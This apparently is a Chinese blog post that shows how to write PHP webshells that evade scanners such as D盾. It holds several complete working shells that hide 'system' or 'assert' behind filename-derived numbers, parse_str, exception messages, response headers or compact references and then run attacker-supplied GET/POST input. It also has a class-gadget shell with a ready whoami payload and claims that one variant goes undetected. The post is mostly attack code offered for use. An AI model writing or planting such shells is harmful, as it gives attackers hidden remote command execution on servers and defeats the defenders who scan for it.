文件名为:451232.php
1234567891011121314151617
<?phpfunction fun($a){ $s = ['a','t','s', 'y', 'm', 'e', '/']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a];}//intval(substr(__FILE__, -10, 6)) 取出文件名451232//经由fun函数后返回字符串system$f = 'a=d&b[]=foo&b[]=' . fun(intval(substr(__FILE__, -10, 6))); //$f=a=d&b[]=foo&b[]=system$arr = array();parse_str($f, $arr);$arr['b'][1]($_GET['b']); //$arr['b'][1]=system 动态函数调用,相称于system($_GET['b']);PHP
实行命令
蚁剑版本,文件名为:342115.php

12345678910111213141516
<?phpfunction fun($a){ $s = ['a','s','e','t','r','a','/']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a];}$f = 'a=d&b[]=foo&b[]=' . fun(intval(substr(__FILE__, -10, 6))); $arr = array();parse_str($f, $arr);echo $arr['b'][1];$arr['b'][1]($_POST['m1t1']); //$arr['b'][1]=assert 动态函数调用,相称于assert($_GET['b']);PHP
蚁剑连接
为什么不能直接用eval?
PHP 支持可变函数的观点。这意味着如果一个变量名后有圆括号,PHP 将探求与变量的值同名的函数,并且考试测验实行它。可变函数可以用来实现包括回调函数,函数表在内的一些用场。可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的措辞构造。须要利用自己的包装函数来将这些构造用作可变函数。
大略来说便是eval是措辞布局器,不是可变函数,而assert是可变函数,可以通过assert调用eval,但在7.1版本往后assert默认不再可以实行代码
Exception::getMessage文件名:451232.php
1234567891011121314151617
<?php function fun($a){//fun可以将数字451232还原为字符串"system" $s = ['a','t','s', 'y', 'm', 'e', '/']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a];}$a = new PDOException(fun(intval(substr(__FILE__, -10, 6))));// $a = new PDOException('system'); 这种会被引擎检测出来$b=$a->getMessage();$b($_GET['b']);PHP
其他可用的Exception
1234
DOMExceptionReflectionExceptionClosedGeneratorException 7版本特有PharExceptionTEXT
apache_response_headers
12345678
<?phpheader('ddd: system');$arr = apache_response_headers();foreach($arr as $k=>$v){ if (strlen($v) == 6 && $v[0] == 's' && $v[5] == 'm'){ $v($_GET['b']); }}PHP
文件名:451232.php
1234567891011121314151617181920
<?php function fun($a){ $s = ['a','t','s', 'y', 'm', 'e', '/']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a];}$e = fun(intval(substr(__FILE__,-10,6)));$city = &$e;$event = 'aaaa';$result = compact("event", "city");$e = 'dddd';$f = $result['city'];$f($_GET['b']);PHP
源码
123456789101112
<?php$a = $_GET["a"];$b = $_GET["b"];$c = $_GET["c"];$d = $_GET["d"];$e = $_GET["e"];$f = $_GET["f"];$g = $_GET["g"];$class = new $a($b);$str1 = substr($class->$c(),$d,$e);$str2 = substr($class->$c(),$f,$g);$str1($str2);PHP
payload:?a=ArrayIterator&b[system]=whoami&c=serialize&d=16&e=6&f=29&g=6,a=Exception&b=systemwhoami&c=__toString&d=11&e=6&f=17&g=6
D盾查杀,可以看到上述的Exception类绕过这个没有被D盾查杀出来.
总结
实在大多webshell查杀引擎都是通过关键词或者定义的静态规则来进行的,绕过关键词可以利用各种编码或者函数绕过技巧,比如parse_str,绕过定义的静态规则可能会比较困难,比如上述的三种绕过办法都利用了动态函数调用,这种方法在D盾的webshell查杀里面会被标记为内藏可疑变量函数虽然不会直接查杀,但是经由人工审计往后也能被创造。
from https://blog.zlimilz.cn/archives/27bd8185/